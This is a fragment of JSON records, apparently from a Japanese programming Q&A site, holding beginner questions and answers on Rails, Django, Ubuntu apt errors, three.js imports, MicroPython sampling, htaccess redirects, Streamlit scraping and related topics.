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"body": "`link_to`でリンクを作成するとき、単純な文字列ではなく、タグを使用する必要がある修飾された文字列やアイコンや画像などやそれらの組合せをリンクにしたい場合はブロックを使用します。\n\n```\n\n <p class=\"ms-3\">\n <%= link_to notifications_path, class: 'nav-link plan-nav' do %>\n <i class=\"bi bi-bell\"></i>\n <% end %>\n </p>\n \n```\n\n上記のようにブロックの内側でタグを書くとその部分がリンクになります。\n\n参考:\n[ActionView::Helpers::UrlHelper#link_to](https://api.rubyonrails.org/classes/ActionView/Helpers/UrlHelper.html#method-\ni-link_to)",
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"body": "投稿で投稿のアップ期間を設定出来るようにしているんですが、投稿の開始する日を今日以前に設定できないようにコードを書いたのですが、何故か今日までが設定できないようになっており、<や<=など工夫しているのですが、うまい事今日投稿できるように修正できません。 \n大なり小なりなどの設定がおかしいのでしょうか。それとも日時のデータが悪いのでしょうか?\n\n設定箇所 \nplan.rb\n\n```\n\n def date_before_start\n errors.add(:start_on, \"は今日より後の日付を登録してください。\") unless\n Time.current <= self.start_on \n end\n \n```",
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"body": "もし `self.start_on` に入っているのが時刻ではなく日付なのであるなら、`Time.current` ではなく `Date.current`\nを使ってみてください。\n\n`Time.current` だと時刻情報も含めたデータが返ってくるため、0 時 0 分以外は `Time.current` の方が大きくなってしまいます。",
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"body": "ゲストログイン機能を実装し、ゲストログインしている時のみ、画面上部に「current_or_guest_user.email」とポップアップがページ遷移毎表示されます。 \n不要なので表示させたいようにしたいのですが原因と解決方法がわかりません。\n\n検証ツールで確認しても特にエラーは表示されません。\n\n解決方法をご存知の方いらっしゃいましたらご教授ください。\n\nuser.rb\n\n```\n\n def self.guest #ゲストログイン機能\n find_or_create_by(email: '[email protected]') do |user|\n user.password = SecureRandom.urlsafe_base64\n user.username = 'Guest'\n user.introduction = 'Hello, I am a Guest User'\n user.location = 'Anywhere'\n \n unless user.profile_picture.attached?\n file_path = Rails.root.join('app/assets/images/default_profile_picture.png')\n user.profile_picture.attach(io: File.open(file_path), filename: 'default-image.png', content_type: 'image/png')\n end\n end\n end\n \n```\n\n[![こちらが問題のエラーです](https://i.stack.imgur.com/xFEd5.jpg)](https://i.stack.imgur.com/xFEd5.jpg)",
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"title": "Ruby on Rails で作成したアプリケーションについての質問です",
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"body": "# 環境\n\nホストOS:Windows 11 Pro \nゲストOS:Ubuntu 22.04.1 \n仮想環境:VMware Workstation 16 Player(ネットワーク接続はNAT)\n\n# 問題点\n\n以下のupdateコマンド実行時にエラーが発生しています。\n\n```\n\n sudo apt update\n \n```\n\nエラーメッセージ\n\n```\n\n ヒット:1 http://archive.ubuntulinux.jp/ubuntu jammy InRelease\n ヒット:2 http://archive.ubuntulinux.jp/ubuntu-ja-non-free jammy InRelease \n ヒット:3 https://dl.google.com/linux/chrome/deb stable InRelease \n ヒット:4 http://archive.ubuntu.com/ubuntu jammy InRelease \n ヒット:5 http://archive.ubuntu.com/ubuntu jammy-updates InRelease \n ヒット:6 http://archive.ubuntu.com/ubuntu jammy-backports InRelease \n ヒット:7 http://archive.ubuntu.com/ubuntu jammy-security InRelease \n 無視:8 https://ppa.launchpadcontent.net/f-muriana/ubuntu-builder/ubuntu jammy InRelease\n エラー:9 https://ppa.launchpadcontent.net/f-muriana/ubuntu-builder/ubuntu jammy Release\n 404 Not Found [IP: 185.125.190.52 443]\n パッケージリストを読み込んでいます... 完了 \n W: http://archive.ubuntulinux.jp/ubuntu/dists/jammy/InRelease: Key is stored in legacy trusted.gpg keyring (/etc/apt/trusted.gpg), see the DEPRECATION section in apt-key(8) for details.\n W: http://archive.ubuntulinux.jp/ubuntu-ja-non-free/dists/jammy/InRelease: Key is stored in legacy trusted.gpg keyring (/etc/apt/trusted.gpg), see the DEPRECATION section in apt-key(8) for details.\n E: リポジトリ https://ppa.launchpadcontent.net/f-muriana/ubuntu-builder/ubuntu jammy Release には Release ファイルがありません。\n N: このようなリポジトリから更新を安全に行うことができないので、デフォルトでは更新が無効になっています。\n N: リポジトリの作成とユーザ設定の詳細は、apt-secure(8) man ページを参照してください。\n \n \n```\n\n下から3行分で何やら対策のことを示されていますが、何をしていいのかわかりません。\n\n# 試したこと\n\n 1. `sudo apt install (パッケージ)` でのインストールは正常に実行できました。\n\n 2. `ping 185.125.190.52` では応答があります。\n\n 3. Webブラウザではインターネットに正常に接続されているようです。",
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"title": "Ubuntuにおいてapt updateができない",
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"body": "### エラーから調べたこと\n\nエラーに出ている \"このようなリポジトリから更新を安全に行うことができない\" をキーワードに検索するだけでも多数のページがヒットし、apt\nのリポジトリ設定に問題がありそうだという事が分かります。\n\n該当リポジトリは [ubuntu-builder](https://launchpad.net/%7Ef-\nmuriana/+archive/ubuntu/ubuntu-builder)\nを提供していたようですが、更新が2014年で止まっており、パッケージの最新版も \"12.10 (Quantal Quetzal)\" 向けになっています。\n\n### 対処方法\n\n`/etc/apt/sources.list` または `/etc/apt/sources.list.d/` 配下のファイルから\n`https://ppa.launchpadcontent.net/f-muriana/ubuntu-builder/ubuntu`\nの記述を削除してください。",
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"body": "以下のようにDjangoのアプリ内models.py,views.pyを記述しました。 \nParsonに、複数のテーブルが外部参照(ForeignKey)されているものとします。 \nParson含め、どれかのテーブルのカラムでfilterして、InnarJoinで一括でデータを取り出したいのですが、どういう構文にすればよいのかが分かりません。\n\nmodels.py\n\n```\n\n from django.db import models\n import json\n \n class Parson(models.Model):\n name = models.CharField(verbose_name='name',max_length=10)\n \n def __str__(self):\n set_dict = {\n 'name':self.name,\n }\n return json.dumps(set_dict)\n \n class ParsonInfo(models.Model):\n gender = models.CharField(verbose_name='gender',max_length=10)\n age = models.IntegerField(verbose_name='age')\n key = models.ForeignKey(Parson,on_delete=models.CASCADE,related_name='parson_key')\n \n def __str__(self):\n set_dict = {\n 'gender':self.gender,\n 'age':self.age,\n }\n return json.dumps(set_dict)\n \n```\n\nviews.py\n\n```\n\n from django.shortcuts import render\n from .models import Parson, ParsonInfo\n \n # Create your views here.\n def index(request):\n parson = Parson.objects.filter(ParsonInfo__gender=\"男性\").all()\n \n params = {\n 'parson':parson,\n }\n return render(request,'app/index.html',params)\n \n```",
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"title": "Django データベースで外部参照をつなげる方法",
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"body": "自己解決したので回答します。\n\nDjangoでは、InnerJoinをデフォルトで発行しているようです。\n\n上記の例では、gender=\"男性\"で絞り込みたい場合には、参照側を使って、\n\n```\n\n parson = ParsonInfo.objects.filter(gender=\"男性\").all()\n for obj in parson:\n print(obj.key.name,obj.age,obj.gender)\n \n```\n\nIndex.htmlでの取り出しでも同じように.で接続すればよいようです。",
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"body": "サイトを参考に、php+Laravelのプロジェクトを作成したのですが、下記の表示は正常にプロジェクトが作成されている証でしょうか? \nteratailさんで以前に同様な質問をさせて頂いた際に古いので違うと言われたのですが、検索してみてもこの表示が正解のように出ているので分からないです。\n\n・参考サイト \n<https://qiita.com/H-Toshi/items/144fa458abe9b8e4b22b>\n\n・以前、質問をしたサイト \n<https://teratail.com/questions/je7gwq9rzbfbsc>\n\n現在はこちらが表示されます。 \n[![画像の説明をここに入力](https://i.stack.imgur.com/zpXea.png)](https://i.stack.imgur.com/zpXea.png)\n\nこちらの表示は正しくプロジェクトを作成されているのでしょうか? \n正しいか教えて頂けると幸いです。",
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"title": "php+Laravleの環境構築からプロジェクト作成",
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"body": "複数人でゲーム開発をUnityでしている状況です。開発初めはビルトインレンダーパイプラインで作成していました。最近になりシェーダーグラフの使用が必要なためURPに切り替えるべく必要が出たためローカルで一度行い問題なく切り替えることができました。しかしSVN上でどのようにして共有すれば全員に滞りなくURP環境に切り替えられるかの方法がわからず困っています。",
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"title": "SVN上にあるUnityのプロジェクト(BR)をURPの環境に切り替えたいときどのように行えばよいでしょうか?",
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"body": "プログラミング初心者で今勉強中です。某YouTuberの方の動画を見てthree.jsを勉強しているのですが、その勉強している内容の動画の中でthree.jsのFlyControlsを使うところで詰まっています。\nFlyControlsをインポートする前までは正常に動くのですが、インポートのコードを打つと下記のようなエラーが出て困っています。\n\n**エラーメッセージ:**\n\n```\n\n Uncaught TypeError: Failed to resolve module specifier \"three\". Relative references must start with either \"/\", \"./\", or \"../\".\n \n```\n\nその動画では正常に動いているのですが、約1、2年前の動画なので、やはり今とやり方が違うのでしょうか。解決方法を教えてください。\n\n下記は今勉強中のコードです。\n\n```\n\n <!DOCTYPE html>\n <html lang=\"en\">\n <head>\n <meta charset=\"UTF-8\">\n <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n <title>LensFlare Website</title>\n <body>\n <script src=\"script.js\" type=\"module\"></script>\n </body>\n </html>\n \n```\n\nそして、下記がjs(script.js)ファイルのコードです。\n\n```\n\n import * as THREE from \"./build/three.module.js\";\n import {FlyControls} from \"./jsm/controls/FlyControls.js\";//このコードを打ったらエラーが吐かれました\n \n```\n\n```\n\n let camera,scene,renderer;\n \n init();\n \n function init() {\n //カメラ\n camera = new THREE.PerspectiveCamera(40, window.innerWidth / window.innerHeight, 1, 15000);\n \n //シーン\n scene = new THREE.Scene();\n \n //geometry\n const size = 250;\n const geometry = new THREE.BoxGeometry(size, size, size);\n const material = new THREE.MeshPhongMaterial({\n color: 0xffffff,\n specular: 0xffffff,\n shininess: 50\n });\n \n for(let i = 0; i < 2500; i++) {\n const mesh = new THREE.Mesh(geometry, material);\n \n mesh.position.x = 8000 * (2.0 * Math.random() - 1.0);\n mesh.position.y = 8000 * (2.0 * Math.random() - 1.0);\n mesh.position.z = 8000 * (2.0 * Math.random() - 1.0);\n \n //回転度合いをランダムに決める\n mesh.rotation.x = Math.random() * Math.PI;\n mesh.rotation.y = Math.random() * Math.PI;\n mesh.rotation.z = Math.random() * Math.PI;\n \n scene.add(mesh);\n }\n \n //平行光源\n const dirLight = new THREE.DirectionalLight(0xffffff, 0.03);\n scene.add(dirLight);\n \n addLight(0.08, 0.3, 0.9, 0, 0, -1000);\n \n //ポイント光源を追加\n function addLight(h,s,l,x,y,z) {\n const light = new THREE.PointLight(0xffffff, 1.5, 2000);\n light.color.setHSL(h, s, l);\n light.position.set(x, y, z);\n scene.add(light);\n }\n \n //renderer\n renderer = new THREE.WebGLRenderer();\n renderer.setSize(window.innerWidth, window.innerHeight);\n document.body.appendChild(renderer.domElement);\n \n renderer.render(scene, camera);\n }\n \n```\n\nVSCodeを使っています。htmlはVSCodeのOpen With Live\nServerを使って開いています。three.jsの方はcdnではなくダウンロード版を使っています。\n\nthree.jsのバージョンはおそらくr153(0.153)だと思います。three.jsのサイトからダウンロードして展開してVSCodeに貼り付けています。ちなみにmacOSです。\n\n**参考にした動画:** \n[Three.jsでモダンな3Dウェブサイトの作り方 -Three.jsチュートリアル\n(YouTube)](https://youtube.com/watch?v=bdQf9vlfxdI&t=1133s)",
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"title": "three.jsのモジュールであるFlyControlsの使い方がわかりません",
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"body": "エラーの原因が全くわからないので、どなたか教えてください。 \ncrontabでnodeを実行しようとするとパーミッションエラーが出ます。諸々のパスが正しいことは確認済みです。 \nなお、ユーザー名直下のディレクトリでファイルを作って実行したらなぜか上手くいきました。\n\ncrontabの内容:\n\n```\n\n * * * * * /nodeのパス /実行対象のパス>> /実行対象のディレクトリのパス/log.txt 2>&1\n \n```\n\nログ:\n\n```\n\n Error: EPERM: operation not permitted, open '/実行対象のパス' \n at Object.openSync (node:fs:592:3) ~ \n at Object.readFileSync (node:fs:460:35) ~ \n at Module._extensions..js (node:internal/modules/cjs/loader:1272:18) ~ \n at Module.load (node:internal/modules/cjs/loader:1113:32) ~ \n at Module._load (node:internal/modules/cjs/loader:960:12) ~ \n at Function.executeUserEntryPoint [as runMain] (node:internal/modules/run_main:83:12) ~ \n at node:internal/main/run_main_module:23:47 { ~ \n errno: -1, ~ \n syscall: 'open', ~ \n code: 'EPERM', ~ \n path: '/実行対象のパス' ~ \n } ~ \n \n```\n\n試したこと:関連するファイルやディレクトリに権限を与える、フルディスクアクセスでnodeを入れる",
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"title": "node.js を crontab で実行するとパーミッションエラーが発生する",
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"body": "MicroPythonについてです。 \nラズパイpicoのADCピンにマイクモジュールを接続し、録音しようと思っています。 \n実際に録音自体はできるのですが、毎回サンプリングレートに変動があり、7000~11000あたりをさまよっています。 \nこれを音声としてまともに聞けるように44.1khzか、22.05khz固定にしたいのですが、MicroPythonを使った場合どのようにしてサンプリングレートを固定できるのでしょうか? \n心当たり、少しでも思うことがあれば教えていただきたいです。\n\n環境 \nRaspberry Pi pico \nMicroPython 1.20",
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"title": "Raspberry Pi picoでADCピンに接続したマイクでの録音時にサンプリングレートが変動してしまう",
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"body": "どのようなプログラムで、そのような問題を抱えているのでしょうか。 \n今回のような質問では、問題が起きているソースコードを示すことが重要です。 \nソースコードも一緒に質問文に入れていただかないと、誰も的確な回答ができませんorz\n\nMicropythonはその言語特性上、10kHzあたりまででしたら大抵の場合誤差なく処理できますが、10kHzを越えるような処理は安定しません。 \nどうしても22.05kHzや44.1kHzあたりで安定してサンプリングできるような処理を求めるようでしたら、開発言語はMicropythonではなく、C/C++あたりを視野に入れたほうが良いでしょう。\n\nところで、Micropythonでの開発で、もしタイマ割り込みを使用せずに問題に直面しているのでしたら、タイマ割り込みを使ってみてはいかがでしょうか。\n\n> クラス Timer -- ハードウェアタイマーの制御 \n> <https://micropython-docs-\n> ja.readthedocs.io/ja/latest/library/machine.Timer.html>\n\nこんな感じに記述できます。\n\n```\n\n from machine import Timer\n \n # 定期的に呼び出される処理\n def sampling(timer):\n # ~~~ ここにサンプリング処理を書く ~~~\n \n timer_sampling = Timer()\n timer_sampling.init(mode=Timer.PERIODIC, freq=22050, callback=sampling)\n \n```\n\n上記のコードでは、22.05kHz周期で`sampling関数`を呼び出すように設定しています。 \nしかし先述のとおり、高周波のため実際の呼び出し周期は安定せず、誤差が生じます。 \n実測では、ほぼ負荷のないテスト環境でも、22.22(±3)kHzあたりの周期で呼び出されていました。 \n44.1kHzも試してみましたが、全く安定せず、使い物にはなりませんでした。",
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"body": "企業さまのHPをリニューアルしているのですが、一部の記事でURLを変更することになりました。 \n単純なリダイレクトであれば私もやったことはあるのですが、今回は少し複雑なリダイレクトが必要となり、なかなか調べても出てこなかったので、書き込みさせていただきました。 \nご存知の方いらっしゃれば、ご教授いただきたいです。\n\n現)`https://www.example.com/news/20230531_48232.html` \n変)`https://www.example.com/news/48232/`\n\n現在のURL仕様は `ドメイン/news/8桁の日付_postID.html` です。\n\nよろしくお願いいたします。",
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"title": "htaccess で URL を書き換えてリダイレクトするには",
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"body": "```\n\n RewriteRule ^/news/[0-9]{8}_([0-9]+).html /news/$1/ [R=301]\n \n```\n\nかなぁ?",
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"body": "Ubuntu 22.04 に HelpdeskZ というヘルプデスクツールをインストールしようとしています。 \nその際Webからインストール画面にアクセスするのですが、PHPのエラーでインストール画面を表示することができません。 \nどのように対処すればよいのでしょうか。\n\n```\n\n Deprecated: filter_var(): Passing null to parameter #3 ($options) of type array|int is deprecated in /var/www/html/helpdeskz-dev-2.0/hdz/framework/HTTP/Request.php on line 439\n \n Fatal error: Uncaught ErrorException: Cannot modify header information - headers already sent by (output started at /var/www/html/helpdeskz-dev-2.0/hdz/app/Config/Events.php:33) in /var/www/html/helpdeskz-dev-2.0/hdz/framework/Debug/Exceptions.php:164 Stack trace: #0 [internal function]: CodeIgniter\\Debug\\Exceptions->errorHandler() #1 /var/www/html/helpdeskz-dev-2.0/hdz/framework/Debug/Exceptions.php(164): header() #2 [internal function]: CodeIgniter\\Debug\\Exceptions->exceptionHandler() #3 {main} thrown in /var/www/html/helpdeskz-dev-2.0/hdz/framework/Debug/Exceptions.php on line 164\n \n Fatal error: Uncaught ErrorException: Cannot modify header information - headers already sent by (output started at /var/www/html/helpdeskz-dev-2.0/hdz/app/Config/Events.php:33) in /var/www/html/helpdeskz-dev-2.0/hdz/framework/Debug/Exceptions.php:164 Stack trace: #0 [internal function]: CodeIgniter\\Debug\\Exceptions->errorHandler() #1 /var/www/html/helpdeskz-dev-2.0/hdz/framework/Debug/Exceptions.php(164): header() #2 /var/www/html/helpdeskz-dev-2.0/hdz/framework/Debug/Exceptions.php(224): CodeIgniter\\Debug\\Exceptions->exceptionHandler() #3 [internal function]: CodeIgniter\\Debug\\Exceptions->shutdownHandler() #4 {main} thrown in /var/www/html/helpdeskz-dev-2.0/hdz/framework/Debug/Exceptions.php on line 164\n \n```",
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"body": "画像に大量に保管したアニメのキャプチャ画像があるのですが、キャラクター毎に自動でフォルダ分けするようなアプリやプログラムってありますでしょうか? \n可能であれば、google colabでプログラム組みたいのですがご教授頂ければと思います。",
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"title": "画像の自動フォルダ分けについて",
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"body": "こんばんは \nアニメの顔で精度が出るは怪しいですが、こちらのリポジトリで顔を自動でファイル分けさせることはできます。 \n[リポジトリのリンク](https://github.com/tyunh-lab/-AI) \ngoogle colabでGPUを使用し、キャプチャ画像の入っているディレクトリで回してみてください。 \nお役に立てられたら幸いです。",
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"body": "以下のコードでStreamlit上にrequests-htmlを用いたスクレイピング結果を表示したいのですが、エラーが表示されます。\n\nPython及びスクレイピング等初心者で、どうやらStreamlit上で非同期処理を動かす上での問題であるように思われますが、解決の糸口が見えていない状態です。\n\n最終的には、動的サイトのスクレイピング結果をStreamlit上に表示することを目指しており、可能であればrequests-\nhtmlライブラリを使用して進めたいと考えています。 \n解決に向けた方法等ご教示いただければ幸いです。\n\n**エラーメッセージ:**\n\n```\n\n File \"C:\\Users\\...\\venv\\lib\\site-packages\\streamlit\\runtime\\scriptrunner\\script_runner.py\", line 565, in _run_script\n exec(code, module.__dict__)\n File \"C:\\Users\\...\\test_pyppeteer.py\", line 30, in <module>\n main()\n File \"C:\\Users\\...\\test_pyppeteer.py\", line 15, in main\n response.html.render()\n File \"C:\\Users\\...\\venv\\lib\\site-packages\\requests_html.py\", line 586, in render\n self.browser = self.session.browser # Automatically create a event loop and browser\n File \"C:\\Users\\...\\venv\\lib\\site-packages\\requests_html.py\", line 727, in browser\n self.loop = asyncio.get_event_loop()\n File \"C:\\Users\\...\\Python\\Python310\\lib\\asyncio\\events.py\", line 656, in get_event_loop\n raise RuntimeError('There is no current event loop in thread %r.'\n \n```\n\n**現状のコード:**\n\n```\n\n import streamlit as st\n from requests_html import HTMLSession\n from bs4 import BeautifulSoup\n \n def main():\n st.title('Web Scraping App')\n \n url = st.text_input('Enter URL')\n if url:\n if st.button('Get HTML'):\n st.write(f\"Start fetching HTML from {url}...\")\n \n session = HTMLSession()\n response = session.get(url)\n response.html.render()\n html = response.text\n \n soup = BeautifulSoup(html, 'html.parser')\n st.write(f'Site Title: {soup.title.string}') \n \n paragraphs = soup.find_all('p')\n for paragraph in paragraphs:\n st.write(paragraph.text)\n \n \n if __name__ == '__main__':\n main()\n \n```",
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"title": "Streamlit上でrequests-htmlを用いたスクレイピングができない",
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"body": "[Requests-HTML](https://requests.readthedocs.io/projects/requests-\nhtml/en/latest/) が内部で使用している(らしい) pyppeteer\n\n * (元の)Puppeteer は Chromium をヘッドレスモード動かし, アプリから操作するパッケージで\n * [Requests](https://requests.readthedocs.io/en/latest/) などと異なり JavaScriptを動かせる\n\nですがその仕組み上, Chromium とのプロセス間通信(と思しきものと), Streamlit で衝突が起きてる模様\n\n非同期処理で行えば, (本来なら)大丈夫だと思われます \n(Streamlit 使わず Pythonから実行できれば, Streamlit 移行も可能なはず)\n\n```\n\n import asyncio\n # import streamlit as st\n # from requests_html import HTMLSession\n from requests_html import AsyncHTMLSession\n from bs4 import BeautifulSoup\n \n async def main():\n print('Web Scraping App')\n url = input('Enter URL')\n if url:\n if True: # st.button('Get HTML'):\n print(f\"Start fetching HTML from {url}...\")\n \n with AsyncHTMLSession() as session:\n r = await session.get(url)\n await r.html.arender(sleep=1, keep_page=True)\n html = r.text\n r.close()\n \n soup = BeautifulSoup(html, 'html.parser')\n print(f'Site Title: {soup.title.string}')\n \n paragraphs = soup.find_all('p')\n for paragraph in paragraphs:\n print(paragraph.text)\n \n if __name__ == '__main__':\n asyncio.run(main()) # main()\n \n```\n\nけれど, 終了時に問題が発生します (たぶんこれだと思われ) \n[atexit printing SystemExit exception and traceback\n#103512](https://github.com/python/cpython/issues/103512)\n\n* * *\n\n手段?として考えられるのは\n\n * `render()` を諦める\n * 上記問題の解決を待ち, Streamlit へ移行する\n * Requests + [pyppeteer](https://github.com/pyppeteer/pyppeteer) を独自に扱う \n * pyppeteer は長くメンテされてなさそうなので [Playwright](https://playwright.dev/) を利用する\n\nなどです",
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"body": "(とあるurllib3パッケージを利用している、転用元コードを参考にして、) \nhttps通信をストリームで、読み込む処理を作成しました。 \n利用するパッケージを統一するために、requestsパッケージで同様のことをしたく \n書き換えたところ、未応答状態となり動作しませんでした。 \n(未応答状態となる接続先のサイトは公開できないのですが、) \nhttps通信をデバッグするには、どのようにしていますでしょうか?\n\n以下はurllib3を利用して、問題なく動作したコードです。 \n接続先<https://jsonplaceholder.typicode.com/todos/>から、正しくレスポンスを取得できました。\n\n```\n\n import urllib3\n http = urllib3.PoolManager()\n response = http.request(\n 'GET',\n url='https://jsonplaceholder.typicode.com/todos/',\n preload_content=False\n )\n for chunk in response.stream(1024):\n print(chunk)\n \n```\n\n次に、以下のようにurllib3からrequestパッケージを利用するよう書き換えました。 \n接続先<https://jsonplaceholder.typicode.com/todos/>へは、 \n正しく動作し、レスポンスを取得できますが、他のサイト(対象の)へ接続すると未応答状態となりました。 \nrequestsパッケージの利用方法は正しいでしょうか? \nもしくはrullib3を利用したときと同じリクエストが送信されているか、確認する方法はありますでしょうか?\n\n```\n\n import requests\n response = requests.get(url='https://jsonplaceholder.typicode.com/todos/', stream=True)\n for chunk in response.iter_content(chunk_size=1024): # Streamとして読む\n print(chunk)\n \n```",
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"body": "※[Qiitaにも同じ質問を投稿しております。](https://qiita.com/voibow/questions/a27e1e0ec26414c267ca)\n\nJavaでAndroidスマホアプリを作っております。 \nMotionEvent.ACTION_MOVEのサンプリング周波数をご教示いただけますと幸いです。 \nオーダーで結構です。調べる方法までわかればベストです。",
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"title": "MotionEvent.ACTION_MOVEのサンプリング周波数",
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"body": "Ricky\nMo様へ:コメント頂き深謝します。この情報により解決できました。具体的には、GooglePlayに、MovementRateを計測できるアプリがあり実測できました。因みに私の端末は、100Hzオーダでした。",
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"body": "Djangで次のようなアプリを作りたいです。入力フォームから、名前や価格を送信。データベース(Djangoのデフォルト)に保存。保存したデータベースをスプレッドシートに書き出す。 \n以上の機能を持たせたいのですが、どのようなファイル構成やコードが考えられますか? \n少しでも、道筋、手順を示していただけるとありがたいです。",
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"title": "DjangoでWebアプリを作りたい。",
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"body": "djangoをインストール、設定する手順です。 \nとりあえず、クリーンな状態でdjangoが起動するところまで、記載しました。 \n(質問内容のほぼすべてが記載された書籍がいろいろあり、お勧めです。)\n\n[前提条件] \nWindowsのWSL2 + Ubuntuを利用\n\n1)djangoのインストール、環境設定\n\n```\n\n python3 -m venv venv\n source venv/bin/activate\n pip3 install django\n \n```\n\n2)djangoのプロジェクト、アプリケーションの作成\n\n```\n\n django-admin startproject test_project\n cd test_project\n python3 manage.py startapp test_app\n \n```\n\n3)アプリケーションの設定 \n[test_project/test_project/settngs.py]をエディタで開き[INSTALLED_APPS]配列の末尾に、\n\n```\n\n 'test_app.apps.TestAppConfig',を追加する。\n \n```\n\n4)データベースの初期化\n\n```\n\n python3 manage.py makemigrations\n python3 manage.py migrate\n python3 manage.py createsuperuser\n →UsernameとPasswordを入力すること\n \n```\n\n5.djangoテスト実行\n\n```\n\n python3 manage.py runserver\n \n```\n\nブラウザより<http://localhost:8000/>へアクセス \nおよび \nブラウザより<http://localhost:8000/admin>へアクセス \n作成したユーザーでログインできればOK \nctrl + Cでdjangoを終了できる。",
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{
"body": "・フォルダ構成 \nフォルダ構成は、 \ntest_proj/test_proj ← プロジェクトフォルダ \ntest_proj/test_app ← アプリケーションフォルダ \nプロジェクトの中に、複数のアプリケーション(サブサイト)が包含される関係になります。\n\nアプリケーションフォルダ内の、ファイル構成は、 \n・urls.py \nリクエストの振り分け(projectフォルダ内にもあるので注意)を行います。 \nリクエストがきたら、どのviewを利用して、どのHTMLテンプレートを利用するか、指定します。 \n・views.py \nサーバーサイドの処理を記載します。 \nモデルクラスの参照更新(データベースアクセス)、HTMLへ表示する項目を作成します。 \n・models.py \nデータベースのテーブルをORMしたクラス \n・templateフォルダ \nhtml、htmlテンプレートを記載します。\n\n・データベース(Djangoのデフォルト)に保存 \nモデルクラスを作成するとよいです。 \n小規模であれば、一般的に[test_proj/test_app/models.py]に記載します。\n\n```\n\n ################################################################################\n from django.db import models\n CATEGORY = (('business', 'ビジネス'), ('life', '生活'), ('other', 'その他'))\n \n class Book(models.Model):\n title = models.CharField(max_length=100)\n text = models.TextField()\n thumbnail = models.ImageField(null=True, blank=True)\n category = models.CharField(\n max_length=100,\n choices = CATEGORY,\n )\n user = models.ForeignKey('auth.User', on_delete=models.CASCADE)\n \n def __str__(self):\n return self.title\n \n```\n\n[test_proj/test_app/admin.py]ファイルに、\n\n```\n\n admin.site.register(Book)\n \n```\n\nと追記することで、デフォルトの管理者サイトからデータを確認することができます。\n\n・入力フォームから、名前や価格を送信。 \n入力フォームなどのhtmlは、[test_proj/test_app/template/]フォルダに保存します。 \nどのようなリクエストがきたら、どのhtmlファイルを利用するかは、[test_proj/test_app/urls.py]に記載します。 \nサーバーサイドでの処理は、[test_proj/test_app/views.py]に記載します。\n\n・保存したデータベースをスプレッドシートに書き出す。 \nスプレッドシートに書き出す処理は、分かりません。 \n他の方の回答を期待してください。",
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"body": "下記のエラーが出ています。検索したり、relationshipsのコントローラーで初期化の定義してみましたが解決しません。初学者ですので解説もいただけると助かります。\n\n**NameError in Users#show** \nShowing /home/ec2-user/environment/rails6-bookers2-debug-\nruby3-main/app/views/users/_info.html.erb where line #13 raised:\n\nuninitialized constant User::Relationships\n\n```\n\n raise NameError.new(\"uninitialized constant #{candidates.first}\", candidates.first)\n ^^^^^\n \n```\n\nExtracted source (around line #13): \n11 \n12 \n13 \n14 \n15 \n16\n\nfollows followers\n\n該当すると思われるコードを記載します。見づらい部分もあると思いますが、よろしくお願いします。\n\n_info html.erb\n\n```\n\n table class='table'>\n <tr><%= image_tag user.get_profile_image(100,100) %></tr>\n <tr>\n <th>name</th>\n <th><%= user.name %></th>\n </tr>\n <tr>\n <th>introduction</th>\n <th><%= user.introduction %></th>\n </tr>\n <tr>\n <th>follows</th>\n <th><%= link_to user.followings.count, user_followings_path(user) %></th>\n </tr>\n <tr>\n <th>followers</th>\n <th><%= link_to user.followers.count, user_followers_path(user) %></th>\n </tr>\n </table>\n \n <div class='row'>\n <%= link_to edit_user_path(user), class: \"btn btn-outline-secondary btn-block\" do %>\n <i class=\"fas fa-user-cog\"></i>\n <% end %>\n </div>\n \n \n \n class RelationshipsController < ApplicationController\n \n before_action :authenticate_user!\n \n def create\n @user = User.find(params[:user_id])\n current_user.follow(params[:user_id])\n redirect_to request.referer\n end\n \n def destroy\n current_user.unfollow(params[:user_id])\n redirect_to request.referer\n end\n \n # フォロー一覧\n def followings\n user = User.find(params[:user_id])\n @users = user.followings\n end\n # フォロワー一覧\n def followers\n user = User.find(params[:user_id])\n @users = user.followers\n end\n \n def count(user)\n @count_following = user.following.count\n @count_follower = user.follower.count\n end\n end\n \n \n relationships.rb\n \n class Relationship < ApplicationRecord\n belongs_to :follower, class_name: \"User\"\n belongs_to :followed, class_name: \"User\"\n \n \n end\n \n \n \n user.rb\n \n class User < ApplicationRecord\n # Include default devise modules. Others available are:\n # :confirmable, :lockable, :timeoutable, :trackable and :omniauthable\n devise :database_authenticatable, :registerable,\n :recoverable, :rememberable, :validatable\n \n has_many :books\n has_one_attached :profile_image\n has_many :favorites, dependent: :destroy\n has_many :book_comments, dependent: :destroy\n \n has_many :relationships, class_name: \"Relationships\", foreign_key: \"follower_id\", dependent: :destroy\n \n has_many :followings, through: :relationships, source: :follow\n \n \n has_many :reverse_relationships, class_name: \"Relationships\", foreign_key: \"followed_id\", dependent: :destroy\n \n has_many :followers, through: :reverse_relationships, source: :follower\n \n validates :name, presence:true, length: { minimum: 2, maximum: 20 }, uniqueness: true\n validates :introduction, length: { maximum: 50 }\n \n \n \n def get_profile_image(a,b)\n unless profile_image.attached?\n file_path = Rails.root.join('app/assets/images/no_image.jpg')\n profile_image.attach(io: File.open(file_path), filename: 'no_image.jpg', content_type: 'image/jpeg')\n end\n profile_image.variant(resize_to_limit: [a, b]).processed\n end\n \n def follow(follower_ids)\n relationships.create(followed_id: user_id)\n end\n \n def unfollow(follower_ids)\n relationships.find_by(followed_id: user_id).destroy\n end\n \n def following?(user)\n followings.include?(user)\n end\n end\n \n <div class='container px-5 px-sm-0'>\n <div class='row'>\n <div class='col-md-3'>\n <h2>User info</h2>\n <%= render 'info', user: @user %>\n <h2 class=\"mt-3\">New book</h2>\n <%= render 'books/form', book: @book %>\n </div>\n <div class='col-md-8 offset-md-1'>\n <h2>Books</h2>\n <%= render 'books/index',books: @books %>\n </div>\n </div>\n </div>\n \n \n```",
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"title": "フォロワー数とフォロー数をリンクで表示させたいです。",
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"body": "Spresenseのmicro SDカードスロットが外れてしまいました. \nテープで補強したりと応急処置をとっていたのですが, \nしっかり固定するのは厳しく,SDカードの認識が甘くなっています.\n\nどこかで修理することはできますでしょうか. \nまた,何か補強策はございますでしょうか.",
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"body": "修理できるかできないかで言えば \n基板の修理業者というものがありますので修理できるでしょうが、 \nおそらく買い替えたほうが安いです。",
